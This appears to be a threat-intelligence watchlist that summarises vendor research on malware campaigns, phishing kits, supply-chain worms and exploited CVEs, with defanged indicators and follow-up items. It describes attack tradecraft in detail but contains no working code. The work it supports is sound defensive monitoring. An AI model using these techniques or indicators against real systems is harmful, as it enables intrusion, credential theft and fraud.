• Unit 42 Aeternum analysis (August 10 priority follow-up; monitor Polygon selector 0xb68d1809, operator address 0xcaf2c54e400437da717cf215181b170f65187abf, contract and updateDomain() transaction rotation, replacement GitHub/Pastebin/Telegram and HTTP infrastructure, distribution beyond the analyzed DBeaver lure, victim scope, additional payload combinations, and evidence that can attribute the evolving contract codebase without treating the LenAI moniker as a verified identity.)
• Unit 42 token-jacking research (August 6 priority follow-up; monitor gray-market new-api / one-api transfer stations for replacement domains and source infrastructure, affected provider and victim scope, model and billing telemetry, key-provisioning and alert-suppression paths, arrests or provider disruptions, independent validation, and evidence that confirms or rejects the currently hypothetical Shai-Hulud / Miasma credential-supply linkage.)
• Unit 42 ChainDrop analysis and public affected-package list (August 9 priority follow-up; preserve the 483-package / 1,675-package-version response list alongside rather than instead of SafeDep's 444-name / 2,234-version snapshot, and monitor for methodology reconciliation, list revisions, the 10 detected execution environments and 453 removed public exfiltration-pattern repositories across five candidate victim accounts, confirmed victim impact, contract setStrings() changes after transaction 0xc55920f1bd0531b6738153068a666c080ddded47e6256f1fd980d51c0b507c91, replacement domains after awqhnjewqjkl[.]icu, the targeted but unobserved opensearch-js / release-drafter.yml OIDC publication branch, @opensearch/setup, additional TLSH-related loader variants, registry cleanup, and evidence that confirms or rejects TeamPCP control.)
• Unit 42 XCSSET v40 analysis (2026-07-31 priority follow-up; monitor poisoned Xcode-project and Git-hook scope, affected applications, downstream builds, repository initial access, rotating C2 and certificate infrastructure, Chrome-on-macOS CDP protections, Telegram Desktop trojanizer configuration, additional modules, and operator attribution.)
• Unit 42 Pass-ta-key research (2026-08-03 priority follow-up; monitor Google and Chrome release notes, CVE assignment, affected-version clarification, UV- and identity-key attestation changes, passkey_enclave_state access controls, SDS removal from Chrome memory, SDS rotation or revocation support, relying-party UV-validation fixes beyond eBay, public detection artifacts, independent reproduction, and evidence of in-the-wild passkey credential theft.)
• Elastic Security Labs and RSS (September 14, 2026: KREMLIN / REF9334 Brazilian banking malware retrospective, malicious Chrome/Edge extension self-installs by forging Chromium's own integrity checks (Secure Preferences HMAC regeneration + App-Bound encrypted-hash regeneration), recovers OSCrypt/App-Bound keys, steals banking session tokens; Ethereum smart-contract dead-drop C2 resolution; seven campaigns Jun 2025-May 2026 (PULSAR RAT → custom extensions → REMCOS); Elastic registered the campaign's network-canary domain www[.]creamp1eonlyfans[.]net and caged 1,515 infections (98.75% Brazil), see KREMLIN page; monitor canary-domain rotation, wallet-trail attribution, and extension-forgery adoption beyond Brazil. HTML/RSS watch for threat-intelligence, malware-analysis, and security-engineering posts with concrete endpoint, cloud, and fraud-detection value, including ChainDrop / Shai-Hulud follow-ups with smart-contract-resolved C2 history such as awqhnjewqjkl[.]icu, repository author/message pivots, and Node-to-Bun endpoint hunts; package-manager cooldown enforcement and drift telemetry such as state-aware .npmrc snapshots, min-release-age removal detection, old-npm enforcement gaps, and endpoint-side secret filtering; coding-agent-parented endpoint activity where signed Claude Code or Cursor ancestry can hide public tunnel creation, credential-bearing commands, unsigned downloads, keychain access, and LaunchAgent persistence, with explicit dual-use and attribution caveats; autonomous-agent intrusion mappings that connect dataset-worker child execution and credential collection to Kubernetes TokenRequest / SelfSubjectRulesReview / secret-enumeration / privileged-pod activity, first-seen cloud identity use, migrating public-service C2, and outcome-based detections beneath trusted GenAI parents; such as wp2shell host telemetry and lab validation covering web-stack-to-shell lineage, wp2shell_<hex> plugin staging, temp-write-test-* probes, PoC self-cleanup, and behavior-first detection; REF6045 / SCMBANKER Mexico-focused banking fraud using ClickFix fake-CAPTCHA delivery, validation.txt staging, bitsadmin / PowerShell retrieval, operator dashboards, clipboard account-number manipulation, vishing overlays, Remote Utilities escalation, exposed infrastructure, LLM-assisted tooling artifacts; developer-targeting DPRK / Contagious Interview updates such as REF9403 SVG-steganography coding-test projects that reassemble OTTERCOOKIE-aligned payloads through serverValidation.js; and new MaaS / modular malware writeups such as TELEPUZ spreading through ClickFix / VIDAR chains with Telegram, Steam, DNS, and Polygon fallback C2.)
• Cisco Talos / Talos Intelligence Blog (HTML/RSS watch; monitor actor, malware, and network-device exploitation research with durable defender value, including China-nexus Operational Relay Box infrastructure such as UAT-7810 / LapDogs / LONGLEASH, router and embedded-device exploitation, secondary actor use of relay networks against critical infrastructure, and financially motivated workstation campaigns such as UAT-11795's Starland RAT / WLDR agent chain using ClickFix, trojanized installers, Python loaders, PowerShell memory C2, Telegram notifications, and Polygon fallback C2; August 20 follow-up: UAT-10147's SPECTRE / Specter / BadIIS agentic-AI-augmented web-server campaign → ops/uat-10147-spectre-badiis-ai-augmented-web-server-campaign.md (August 13 follow-up: "Dissecting the JWR phishing framework", an undocumented PhaaS internally branded JWR that impersonates Shopify/PayPal/Apple/Klarna/bank checkout and login pages with a live AES-CTR encrypted WebSocket to the operator (Vue.js client across 44 phishing pages, keystroke streaming, 40+ C2 instructions, cvvform exfil of card/SSN/ID/2FA/PayPal data and device fingerprint), delivered via SMS toll/postal/courier lures in Southeast Asia and the Middle East; Talos assesses with medium confidence it is a variant of The Outsider PhaaS via shared client-engine scripts, see JWR page. Monitor Outsider-variant correlation, JWR C2 infrastructure, and named-actor attribution.), tools/spectre-cross-platform-backdoor-specter-rootkit.md, actors/uat-10147.md; September 9, 2026 follow-up: "Cisco Secure FMC in the wild: three actor clusters behind ongoing exploitation of CVE-2026-20079 and CVE-2026-20316", first actor-attributed in-the-wild exploitation of the FMC pair, tied to three Talos-tracked clusters: UAT-12197 (JSP web shell + cmd[.]jar command executor in the CSM Tomcat webroot, credential exfil via OmniQuery.pl), UAT-11823 (high-confidence APT overlapping the Sandworm toolset, Netcat reverse shell via a malicious Makeself license.tmp executed as root by package_info.pl, DoH resolution, Cyclops Blink variant implant), UAT-11988 (high-confidence Qilin ransomware operator, LOTL, Python SOCKS5 proxy + reverse-SSH tunnel forwarding LDAP/Kerberos/SMB/WinRM, impacket/Invoke-TheHash, custom AV killers, then Qilin deployment); shared tell = the license.tmp / package_info.pl mechanism now confirmed as an active attacker technique; Talos Snort SIDs 66075-66080 / 66883 / 66960; released hotfixes 7.0.9.1-3 through 10.0.1.1-2 (do not wait for the week-of-Sep-14 hardening release), see FMC ongoing-exploitation page; September 8, 2026 follow-up: "ClickFix moves into the browser: Cryptocurrency theft with Google-hosted C2", a crypto-theft ClickFix variant targeting the browser session instead of the OS: lures = fake "leaked vulnerability report" for a nonexistent swap-service API flaw (Telegram/DarkForums/paste sites), victims paste JS into the Chrome address bar (early) or install via the Tampermonkey extension (current, persistent); web-skimmer payload hooks fetch + clipboard, replaces crypto deposit addresses with attacker wallets, fakes "bonus" UI; fully serverless Google-hosted C2 (publicly-published Google Sheets via the unauthenticated Visualization API gviz/tq, Google Docs lure, paste[.]sh first-stage) that survived Talos' April takedown and was still active as of Aug 11; 21 second-stage samples, 49 BTC addresses, ~0.159 BTC (~$10k) confirmed stolen, laundered through 3,000+ addresses; legitimate-service abuse in the browser defeats the "random executable phoning home to Google" tell, see ClickFix browser page)
• Cisco Security Advisories (vendor-advisory watch for actively exploited network and security control-plane flaws, affected and fixed releases, hot fixes, compromise indicators, and recovery guidance, including Secure Firewall Management Center CVE-2026-20316 static-credential exploitation and the /var/tmp/license.tmp log pivot; August 21 follow-up: second round of Cisco's internal security review, four Crosswork flaws (CVE-2026-20030/20357/20358/20359, three scoring CVSS 10.0) affecting Data Gateway / Network Controller / Planning regardless of configuration fixed in Crosswork 7.2.1-SP, and five Secure Workload flaws (CVE-2026-20231/20315/20317/20318/20319, two scoring 10.0) fixed in 3.10.9.1 / 4.0.4.16, with no known active exploitation → ops/cisco-crosswork-secure-workload-nine-flaws-five-cvss-10-august-21-2026.md; monitor for third-round review findings, exploit emergence, KEV additions, and configuration-based mitigations)
• Zscaler ThreatLabz (HTML watch for actor, campaign, malware, phishing, and network research with durable indicators and behavior, including East Asia-linked Middle East government targeting with TELESHIM Telegram C2, MIXEDKEY victim-bound environmental keying, BINDCLOAK, trusted-binary DLL side-loading, scheduled-task persistence, and captured post-compromise operator activity; September 18, 2026: "Operation RapidRust", Transparent Tribe / APT36 against Indian and Afghan government/defense with four new tools: RUSTYSHADE Rust backdoor using attacker-controlled PRIVATE GitHub repositories as encrypted C2 (fixed-file protocol command.txt/results.txt/info.txt/heartbeat.txt + encrypted screenshot.png/webcam_photo.jpg/download.bin), PSNATCH/BASHNATCH file stealers exfiltrating to a private repo named after the infected machine, RUSTYMOVE Rust USB propagator (DriverInstaller.zip + DocScanner-…pdf.LNK); typosquatted news domains theprints[.]org / indiatodays[.]org; C2 issued only 04:00-11:00 UTC weekdays, see Operation RapidRust page; monitor: additional victims, repo/domain rotation, whether the private-repo C2 design spreads to other clusters, and court/MEAs)
• OpenSourceMalware (Paul McCarty / "6mile") (HTML/RSS watch for malware-family analysis with named-family lineage work, especially DPRK/Contagious-Interview-adjacent tooling; September 17, 2026: WeaselBiscuit, stripped-down npm JavaScript stealer built from BeaverTail/OtterCookie parts, import-time execution, two-URL Npoint dead-drop architecture, Chrome extension-storage theft, numeric campaign-ID segmentation; DPRK origin explicitly an analytic hypothesis, see WeaselBiscuit page; monitor: attribution evidence, Npoint ID / C2 rotation, copycat adoption of the stripped-down fork pattern, additional package names in the cluster)
• GitGuardian research (HTML watch for developer-credential-theft and supply-chain tradecraft research with durable defender value, especially exposure of hardcoded secrets and credential-collector breadth in supply-chain attacks; September 3, 2026: the Mini Shai-Hulud keyv wave's file-system secret collector now targets 469 hardcoded credential locations, up from 189 in the open-source baseline, Linux 89→290, Windows 12→50, macOS 88→129, with the added paths concentrated in developer environments, CI/CD tooling, cloud configuration, crypto-wallet locations, and AI tool/agent configuration; durable read: the worm has stopped breaking trust relationships and now harvests the credentials that already make them work, so standing long-lived package-publishing and cloud credentials on reachable dev/CI hosts are the top remediation priority. See Mini Shai-Hulud ops page.)
• CrowdSec security statements / blog (September 17-19, 2026: source-code-exposure postmortem, the May TanStack wave (CVE-2026-45321) reached CrowdSec through a former employee's compromised laptop with GitHub access deliberately left open post-departure; on May 22 the attacker copied ~170 private repositories with his OAuth token; archive surfaced Sep 16 with 83 user emails + 51 investors' contact/investment context; code-only copy, no lateral-movement credential found, dead-token attribution required GitHub's provider-side token history, see Mini Shai-Hulud ops page Sep 18 section; monitor CrowdSec's follow-ups for any credential finding beyond "so far," abuse of the leaked blocklist consensus logic, and whether other May-wave victims disclose similar departed-account thefts.) HTML watch.
• Trend Micro Research (HTML watch; monitor active-exploitation, AI-augmented intrusion, developer-targeting malware, banking malware, and Ukraine/Russia-aligned updates such as Void Dokkaebi / Famous Chollima Cython-compiled InvisibleFerret and BeaverTail evolution, WinRAR CVE-2025-8088 reuse by Earth Dahu / Gamaredon and UAC-0226 / SHADOW-EARTH-066, GIFTEDCROOK evolution, managed-software patch blind spots, SHADOW-AETHER agentic-AI tunneling / lateral-movement campaigns in Latin America, Patriot Bait / bandcampro-style AI-operated disposable C2 infrastructure using Gemini CLI, plain-text skill files, Cloudflare tunnels, and PowerShell polling agents, PeopleSoft / PeopleTools exploitation chain analysis such as PSIGW-to-PSEMHUB SSRF, XMLDecoder restart-triggered execution, and in-JVM observability gaps, exposed-AI-application exploitation such as Langflow CVE-2026-33017 cryptominer / SSH-worm delivery, Banana RAT / SHADOW-WATER-063 Brazilian banking-fraud tooling with Pix QR interception and polymorphic PowerShell builds, and distinct post-exploitation chains sharing a common exploit entry point; also monitor autonomous-ransomware analysis such as JADEPUFFER follow-ups covering adaptive payload counts, self-correction speed, model-invented indicator caveats, and behavior-first detection; August 21 follow-up: TrendAI's RedC2 4.0 analysis, 14 trojanized npm packages (streak/map/math/metrics name-fragment squats) that drop the RedShell Linux beacon at import time (no install hook; dist/index.mjs re-exports genuine date helpers and launches a bundled "native math accelerator" binary), plus Red Agent, the LLM-backed command-execution layer, and the Red Offsec $99.99 / "MarlboroMan" Hack Forums vendor/actor identifiers → tools/redc2.md)
• FortiGuard Labs Threat Research (HTML watch; September 19, 2026: Orkes Conductor outbreak alert, CVE-2026-58138 (9.8) pre-auth RCE under active exploitation via inline workflow definitions + unsandboxed GraalVM evaluators; 1,290 attempts blocked in one 24h window Sep 9, ~7,000 Sep 2-9; fixed 3.30.2; monitor KEV addition, payload/post-exploitation reporting, actor attribution, see Orkes Conductor page; monitor active exploitation, IoT/Linux botnets, router and appliance malware, cross-platform propagation research such as the C0XMO Gafgyt variant exploiting DD-WRT CVE-2021-27137, software-supply-chain espionage such as trojanized QuickFox Windows installers using Electron JavaScript guardrails, csmonitor.exe DLL sideloading, and the modular FDMTP backdoor with Twill Typhoon / Mustang Panda overlap caveats, and Shai-Hulud / TeamPCP consequence reporting such as external reuse of Jenkins instance-role credentials, AWS IAM escalation, Secrets Manager enumeration, Redshift data collection, and S3/SSM/SES staging; preserve FortiGuard's caveat where host forensics do not definitively tie the cloud intrusion to a specific poisoned package.)
• pwn.ai Research (HTML watch; September 17-18, 2026: WordPress "Click2Shell", zero-click forced theme install through DOM-selection reuse of the raw URL value with the admin's own session nonce, chainable to RCE via a second flaw in the installed theme, fixed in WP 7.1.1; monitor: the named chained theme weakness/CVE, ITW reports, KEV addition, see Click2Shell page; Sep 22: the SAME 7.1.1 release carried Patchstack's CVE-2026-93485 'Comment2Shell' (7.1), anonymous-comment XSS through the save-time-sanitize / render-time-reformat gap, RCE via admin's own session plugin upload when an admin merely views the page; no ITW, not KEV at Sep 22 check; captured on the same page's Sep 22 section**)
• ESET WeLiveSecurity / ESET Research (September 17, 2026: FamousSparrow SparroWocky, China-aligned group (Salt Typhoon / Earth Estries overlap) replaces SparrowDoor with a new modular C++ backdoor embedding Mbed TLS / MinHook / COFF Loader / a SilentMoonwalk variant directly into the implant, 90% Latin America government targeting since July 2025, DLL-sideloading delivery unchanged, see SparroWocky page; monitor initial-access disclosure, C2 rotation from 216.238.110[.]120, and whether the LATAM focus persists.) HTML/RSS watch; monitor actor campaigns, supply-chain attacks against regional software ecosystems, and new malware/tooling such as OceanLotus / APT32 FireAnt MetaKit supply-chain delivery of SPECTRALVIPER, FishMonger / SprySOCKS Windows variants with kernel-driver stealth, ScarCruft BirdCall Android, FrostyNeighbor/Ghostwriter PicassoLoader chains, GopherWhisper Go tooling, mobile MaaS/RAT reporting such as BTMOB, ransomware defense-impairment tooling such as The Gentlemen / GentleKiller EDR-killer framework and rapid BYOVD PoC adoption, and Ukraine/Russia espionage retrospectives such as Gamaredon 2025 tunnel/worker/dead-drop/cloud-storage exfiltration tradecraft and Gamaredon / Turla collaboration caveats)
• Sekoia.io Threat Research (HTML watch; monitor Russia-linked espionage, Gamaredon/UAC-0010 malware chains, dead-drop resolver tradecraft, USB/network-share propagation, and durable malware-family taxonomy such as GammaPhish, GammaLoad, GammaWorm, and GammaSteel; also monitor joint YesWeHack / Sekoia vulnerability-researcher supply-chain reporting such as ChocoPoC fake PoC repositories, PyPI dependency trojanization, native-extension loaders, Python .pth persistence, and Mapbox dead-drop resolvers)
• Seqrite Labs / APT Team (HTML watch; monitor targeted espionage and sector-focused malware writeups with concrete malware chains and infrastructure such as Operation DragonReturn India tax-season Ministry of Finance / Income Tax Department impersonation, DcRAT-style multi-stage loaders, MixedSvc Windows service persistence, background.jpg payload containers, China-nexus attribution caveats, Operation Dragon Weave, RUSTCLOAK, AZUREVEIL, Adaptix C2, Azure Blob Storage dead-drop C2, Czech Republic / Taiwan lures, Operation XENOFISCAL / SideCopy XenoRAT chains, Operation GriefLure Southeast Asia LNK / ftp.exe droppers, Thailand healthcare RAR / Rouki-obfuscated batch / Python-stealer campaigns, and attribution-confidence caveats)
• Acronis Threat Research Unit (HTML watch; monitor actor/campaign/tool reporting with concrete malware chains and SaaS-abuse pivots, such as Mustang Panda India government / hydropower targeting with SHARDLOADER, MINIRECON, ZOHOMURK, Solid PDF Creator DLL sideloading, Zoho WorkDrive C2 and exfiltration, and CERT-In coordination; August 13 follow-up: PATCHCORD / SHEETCORD C/C++ and Go backdoor campaign with moderate-confidence APT36 (Transparent Tribe) attribution against Afghan telecom providers and South Asian critical infrastructure, fake AFTEL VPN installer delivery, Google Sheets C2, and NIC-impersonating domains, monitor for additional victims, infrastructure rotation, and attribution confirmation; August 27 follow-up: Cambodia-focused Spark RAT multi-stage campaign, Inno Setup installers, DLL side-loading through a signed Tencent executable, PNG-embedded shellcode stagers, AMSI/ETW patching, vssvc.exe/ctfmon.exe injection, and BYOVD via the vulnerable OPSWAT AppRemover ardrv.sys driver (CVE-2026-36425) terminating Defender/Huorong/Tencent security processes; TrueSight/Zemana BYOVD roster overlaps Silver Fox tooling but Acronis withholds attribution, see Spark RAT page)
• Microsoft Security Blog, https://www.microsoft.com/en-us/security/blog/ and https://www.microsoft.com/en-us/security/blog/feed/ (OCT 14 (this wiki, 134th sweep): "The hidden network: Inside the phishing infrastructure ecosystem powering global cybercrime" captured FULL TEXT same-day → Storm-3119 YAM Store + Storm-2990 page; monitor DCU civil-action infrastructure list, CoGUI/Haozi/Iron Man rebrands on the GoFrame/China-hosting/Telegram-notification grammar, PnP-Management-Shell-SP self-provisioning adoption, tenant-re-registration abuse beyond Microsoft. Earlier: SEPTEMBER 30 SWEEP: feed carried FOUR above-bar posts captured full-text via RSS content:encoded, CVE-2026-73570 Zimbra unauth command injection tracked end-to-end (→ Zimbra page: PAM-symlink privesc + pam_exec + zmstat-fd, zimlog.service timestomp, zimbra_identity/rsync cluster movement, zimbra-exfil stealing zimbraAuthTokenKey/zimbraPreAuthKey), Star Blizzard RedFlick (→ RedFlick page), NeedyMantis post-compromise framework (→ NeedyMantis tool page), and Storm-3168 = the Azure/JADEPUFFER service-principal destruction view (captured on the JADEPUFFER page Sep 30 section; durable: edited-out GitHub-issue secrets stay live in edit history). Earlier: SEPTEMBER 23 MECHANIC CAPTURED BY THIS WIKI: the Security Blog HTML path blocks direct fetch, but the RSS content:encoded field carries the FULL post body, use the feed for full-text capture. September 22: "Unmasking EvilTokens" full text captured + new page → EvilTokens device-code PhaaS and DCU disruption**, device-code PhaaS (Feb 2026 launch, 12,000+ inboxes / 10,000+ orgs, operator Storm-2992) whose core product is an AI chatbot analyzing the victim's own stolen inbox for fraud targets; DCU + Health-ISAC E.D. Va. civil action took down 50 sites + 150+ domains (partners Cloudflare/Coinbase/OpenAI/Railway/SpyCloud/Shadowserver/TRM Labs), Met Police arrested two men Sep 11; companion DCU post at blogs.microsoft.com (aka.ms/ETDisruption) also full-text captured; Huntress Railway.com companion piece cited. Monitor: Storm-2992 replacement infrastructure, affiliate migration (the kit's customer base persists post-seizure, Kratos rule), device-code-flow blocking uptake, whether the PRT-registration-inside-10-minutes pattern shows in other PhaaS, and any second AI-enabled PhaaS teardown of this class; monitor actor/campaign/tool reporting such as Storm-2945 / Midnight Blizzard CaptiveCrunch manipulation of hospitality captive-portal DNS and HTTP traffic, CornFlake, ChocoShell, FruitStone, ClickFix and device-code phishing; ShinyHunters-associated SaaS OAuth abuse against Salesforce connected apps, Salesloft Drift / Gainsight / Klue-style trusted integrations, and misconfigured Experience Cloud guest access; email and collaboration threat-landscape updates such as Tycoon2FA post-disruption measurements, Teams vishing growth, automated Amazon SES BEC, and nested-EML / ICS / Microsoft-authentication-redirect malware delivery; AI-chatbot/search-poisoned utility downloads; AI-brand impersonation phishing, malvertising, and browser-extension search interception; ClickFix-led infostealer chains such as ACR Stealer WebDAV / Python / EtherHiding, MSHTA / steganographic JPEG payload delivery, and macOS MacSync / AMOS campaigns that hide more than 250 dictionary-style front ends behind server-side browser, WebGL, runtime, and anti-analysis fingerprinting gates; ScreenConnect abuse; SimpleRunPE / RuntimeHost GPU cryptojacking; edge-appliance intrusion chains; ransomware and destructive tooling such as Storm-2697 / The Gentlemen, GigaWiper, and DeadLock's Polygon-configured recovery application, Session chat, Wasabi leak storage, resource-aware encryption, and broad Windows event-log impairment; parallel-intrusion case studies such as Storm-2603 SharePoint-focused ransomware activity; StealC / Amadey disruption reporting; Crypto Clipper USB / .lnk worming; hospitality phishing and Node.js implants; Claude Code GitHub Action / AI-agent CI/CD trust-boundary cases; AutoJack-style local agent / localhost control-plane RCE; agent-memory poisoning defenses; MCP / acting-agent supply-chain trust boundaries; and npm supply-chain campaigns such as ChainDrop direct-tarball publication, Defender process-lineage hunts, Mini Shai-Hulud classification, AsyncAPI miasma-train-p1 pwn-request / import-time execution, Miasma / Red Hat trusted-publishing abuse, Mastra / easy-day-js, vpmdhaj, and oob.moika.tech dependency-confusion clusters; promoted August 29, 2026: "TerminalFix campaign deploys a reverse tunnel through multistage intrusion" (Aug 28, published UTC 2026-08-29T03:43Z), a new ClickFix variant that directs victims to Windows Terminal / PowerShell instead of the Run dialog, chains LockScreenContentServer.exe + forged dui70.dll DLL sideloading, steganographic PNG payload split across bestsocialmedianewspapper[.]com / offlineupdater[.]com, AD reconnaissance, and a custom Python client.py reverse-tunnel implant over WebSocket to gitnow[.]dev giving full SOCKS-style network pivot, see the ops page; promoted September 4, 2026: "Impersonating IT support: how threat actors turn a remote session into enterprise-wide access" (Sep 2), Teams external-collaboration IT/helpdesk impersonation (vishing) → Quick Assist / RMM → in-session PowerShell silent-MSI install of a devfix/Hotfix-named package → portable Node.js runtime + encrypted JavaScript implant with EdgeUpdate per-user persistence, randomized HTTPS long-poll C2, Base64 screen capture, ADSI recon, rundll32 follow-on DLLs, and WinRM 5985 pivoting to DCs/CAs; dormant Ethereum smart-contract C2 URL discovery in recovered builds, see the ops page; and "Counterfeit installers to system compromise: tracking a deceptive software download campaign" (Sep 1, Defender Experts), moderate-confidence Silver Fox / Yinhu fake-software campaign: vendor-clone .com.cn/.hl.cn pages funneling to shared delivery hosts + Alibaba OSS, per-request payload regeneration (same filename, new hash per download), randomized stage-one, TrueUpdate-abusing persistent stage with ~60s scheduled-task loop, Defender-exclusion tampering, shadow-copy deletion, Windows Update neutralization, msiexec -Embedding delivery; China-based multinational / Chinese-speaking victims across healthcare, manufacturing, gaming, tech, logistics, government, education, see the ops page; promoted September 10, 2026: "Protecting organizations against AI-assisted executive impersonation and invoice fraud" (Sep 10), a large-scale BEC campaign observed August 3-5, 2026 that used third-party email delivery infrastructure to send over 1,000,000 financial-fraud emails (87.7% to US recipients), impersonating CEOs/CFOs/Presidents of multiple target companies (spoofed in From display name, Reply-To, and signature) to trick accounts-payable staff into processing an ACH payment of nearly $50,000 to an attacker-controlled account; each lure layered a fabricated "ServiceNow Platform, Annual Subscription" invoice (per-recipient BILLED TO) plus a spoofed "forwarded" conversation between the impersonated target CEO and the (also-impersonated) ServiceNow President; no evidence the referenced brands (incl. ServiceNow) were compromised, the campaign ran on attacker-controlled lookalike domains registered July 31, 2026 (service-nowinc[.]com, domainlify[.]net) plus a pool of third-party sender accounts; generative-AI tells = missing Forwarded-*/References headers, display-name/sender mismatch, financial-lure subjects ("due bill", "ACH Parment"), a left-aligned non-tabbed "thread," a narrative contradiction, and source-layer HTML over-commenting / em-dash / ============= banners; MITRE T1591 / T1598 / T1583 / T1585.002 / T1566 / T1036 / T1656 / T1657, see the ops page)
• Microsoft Edge Vulnerability Research / Edge Extensions Security Team (HTML watch; monitor browser-extension ecosystem compromise and Edge Add-ons response writeups such as StegoAd, where malicious extensions hid JavaScript in PNG/WebP/WOFF2 assets, delayed execution, used server-side validation, stole Google / WordPress credentials and cookies, and monetized through ad fraud / affiliate hijacking)
• Broadcom / Symantec Threat Intelligence (HTML watch; monitor incident-response-backed actor tradecraft such as Seedworm / MuddyWater Node.js-orchestrated PowerShell, signed-binary DLL sideloading, ChromElevator browser theft, Deno/Python backdoors such as Dindoor and Fakeset, Rclone-to-Wasabi exfiltration, Backblaze staging, and public file-transfer exfiltration, cybercrime access-broker tooling such as Backdoor.Mistic / MLTBackdoor, Woodgnat / KongTuke, ModeloRAT, ClickFix delivery, MpExtMs.exe / EndpointDlp.dll sideloading, and Qilin-linked ransomware access; September 4 follow-up: cross-campaign node.exe-anchored implant chains, attackers since February 2026 pivot to the trusted signed Node.js runtime after first-choice C2 (AdaptixC2, Cobalt Strike) is blocked: Asian technology company via official nodejs[.]org installer + EtherHiding, ModeloRAT/Mistic KongTuke chains with the NexShield Chrome extension (CrashFix), GateKeeper .NET payload with layered encryption, and a US fintech's ClickFix foothold (May 6, 2026) later yielding the C2Looper Rust backdoor; registry-Run persistence; hunt node.exe spawning PowerShell/cmd/curl from non-development hosts (see Node.js runtime malware-delivery pattern page); ransomware / BYOVD chains such as GodDamn / Beast / Monster / Hyadina using PoisonX signed-driver defense evasion, AnyDesk, PsExec, NirSoft tooling, and Mimikatz; plus high-consequence tool research such as Fast16 LS-DYNA / AUTODYN nuclear-simulation sabotage)
• Group-IB Threat Intelligence (HTML watch for actor, malware, identity, cloud, and espionage research with concrete telemetry and detection artifacts, such as September 17, 2026: attribution of the Handala Hack persona to the HEAVYGRAM Telegram-C2 surveillance backdoor + CRUDEEXCLUDE Defender-exclusion staging utility (NCSC alias CHOSEN BRICK), delivery via Telegram/WhatsApp/Instagram social engineering with Pictory/KeePass/Telegram installer disguises against Iranian dissidents and journalists per the FBI's March + September 2026 alerts, see the Handala actor page Sep 2026 entry; HOLLOWGRAPH abuse of Microsoft 365 calendar events and Graph application permissions for C2 and exfiltration, AAAA-record credential refresh, Cavern framework linkage, and attribution-confidence caveats; August 19 follow-up: Balonx Sistema, a Mexican banking PhaaS with weekly subscription tiers, live WebSocket sessions with 14 on-demand fraudulent screens, a Spyroid-based Android RAT, and the CallFlow AI synthetic-voice vishing module, exposed through leaked GitHub repositories; August 26 follow-up: Tortoiseshell / Nimbus Manticore (Mirage Kitten, UNC1549) toolset expansion, reverse SSH tunneling utility masquerading as the Windows Terminal Server SDK API to 172.86.98[.]113:443 and a TWOSTROKE-like C++ backdoor mimicking wtsapi32.dll with three hard-coded HTTPS C2 servers, plus Europe/Middle East infrastructure spanning; monitor IOC portal releases, victim institution confirmation, and domain/affiliate rotation; September 3 follow-up: "Anatomy of BraZetsu", high-confidence attribution of the Python-based Windows IAB master toolkit BraZetsu to the Brazilian actor Exilware (native Portuguese speakers, Iberian + LATAM targets), five in-wild versions since Feb 2, 2026, heavy logged generative-AI development/triage/target-prioritization, CNAB/CNABHunter corporate-remittance-fraud overlap via a shared directory list, Ousaban delivery-domain reuse (caixaentradas1inboxshop[.]site), Pastebin C2, and the "Infected Marketplace" (Banco de Infects / infect[.]online) access-as-a-service platform (~$5.80 initial deposit, buyers remotely deploy their own payloads), see BraZetsu page and Exilware actor page → Mirage Kitten campaign page)
• SpyCloud Labs / 2026 Cybercrime Updates (HTML/sitemap watch for recaptured-criminal-data reporting, victim-side session/credential telemetry, PhaaS kit evolution, and forum-ecosystem churn, with identity-IR pivots; September 15, 2026 "Cybercrime Update 19": BlueKit, the first PhaaS kit offering Browser-in-the-Middle (the genuine login page rendered in an attacker-hosted remote browser, pixels streamed to the victim), ~1,000 recaptured stolen-session messages covering 37 orgs Sep 3-15, and the marquee durable finding that in 38% of compromises the kit auto-enrolled its own TOTP on the victim account = MFA persistence surviving password reset (IR must audit registered MFA methods); plus the coordinated no-brand BlgCloud PwnForums leak series (5 accounts, 15+ French-SaaS customer breaches) and the LeakBase revival on the seized forum's own backend DB, see BlueKit page; note the series URL slug differs from feed amplifiers' shortlinks (canonical = /blog/cybercrime-update-NN-/, discover via /post-sitemap.xml); monitor for BlueKit copycats/architecture diffusion, StealC post-takedown migration data, and device-code PhaaS telemetry)
• WatchGuard Secplicity / Threat Lab (HTML watch; monitor regional malware and fraud operations such as Grandoreiro campaigns using DLL sideloading, WebRTC/STUN/ICE communications camouflage, cloud-service abuse, and anti-analysis checks)
• LevelBlue SpiderLabs (HTML watch; monitor malware/tooling research with durable cross-platform defender value, such as QuimaRAT Java RAT MaaS analysis covering Windows / Linux / macOS persistence, Netty C2, plugin loading, fileless execution, and concrete IOC sets)
• Zimperium zLabs (HTML watch; monitor mobile malware, Android banking trojans, mobile MaaS, smishing, and device-fraud tradecraft such as RedWing / Rokarolla Telegram-sold Android banking malware with fake app-store sideloading, Accessibility abuse, overlay credential theft, SMS / notification interception, VNC control, call-forwarding abuse, and DDoS capability; September 18, 2026 (via The Hacker News; zLabs canonical URL not retrievable at capture time): RatHat, Android spyware assessed as China-based-operated whose durable design is autonomous ADB self-pairing (Accessibility → Developer Options → Wireless Debugging → reads the on-screen 6-digit pairing code → shell-privilege out-of-lifecycle native daemons + FRP reverse tunnel = survives uninstall) plus a live cloud-LLM navigation loop over the serialized Accessibility tree, and four named sandbox-pipeline-killer anti-analysis tricks, see RatHat page; monitor: whether the FRP-tunnel / a11y-tree-exfil pattern spreads to other Android families, MDM-vendor policy responses to non-admin Wireless-Debugging enablement, additional victim/campaign scope, and the zLabs canonical post for hash/IOC detail)
• NLnet Labs Unbound security advisories (advisory watch for recursive-resolver infrastructure exposure; September 16, 2026: CVE-2026-81642 (maintainer CVSS 9.1), DNSSEC-validator heap overflow digesting a DNSKEY whose owner name is a compression pointer into its own RDATA; malicious-zone reachability with no on-path position and no user interaction; every Unbound ≤ 1.26.0 affected including the July/August 'security releases'; fixed 1.26.1; no ITW, no public PoC at disclosure, watch for PoC emergence and KEV addition; same release carries CVE-2026-82717 CNAME-synthesis corruption reported by Anthropic's Ben Morris, see Unbound page)
